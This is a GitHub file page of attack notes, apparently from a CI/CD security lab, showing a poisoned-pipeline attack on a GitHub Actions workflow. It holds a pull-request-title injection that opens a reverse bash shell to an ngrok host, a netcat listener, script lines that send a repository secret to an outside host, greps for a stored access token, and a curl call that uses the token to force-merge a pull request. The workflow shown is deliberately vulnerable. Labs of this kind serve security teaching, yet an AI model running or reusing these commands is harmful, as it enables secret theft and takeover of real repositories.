forked from lgvorg1/cicd_top10_3
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlgv.txt
70 lines (52 loc) · 1.68 KB
/
lgv.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
rmdir /s .git
git init
git config --global init.defaultBranch main
git add .
git commit -m "Initial commit"
git remote add origin https://github.com/lgvorg1/cicd_top10_3
git push -u --force origin main
ngrok tcp 1000
sudo nc -lvk 1000
New malicious issue title" && bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/18280 0>&1 && echo "
runtests.sh:
#echo "Execution from READ user" > /dev/tcp/7.tcp.eu.ngrok.io/13524
#env | grep MY_SECRET > /dev/tcp/7.tcp.eu.ngrok.io/13524
echo "------- I-PPE-3xx From user [$1] in pr [$2] pr.yml :: $(env | grep MY_SECRET)" > /dev/tcp/5.tcp.eu.ngrok.io/10666
bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/13524 0>&1
env | grep MY_SECRET
env | grep GITHUB_PAT
env | grep PR_ID
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/cicd_top10_3/pulls/$PR_ID/merge \
-d '{"commit_title":"Hacked merged PR","commit_message":"Hacked"}'
.github/workflows/my_pr.yml
name: Build CI
on:
pull_request:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
jobs:
my_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Building ...
run: |
mkdir -p ./bin
touch ./bin/mybin.exe
cat runtests.sh
cp runtests.sh ./bin
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin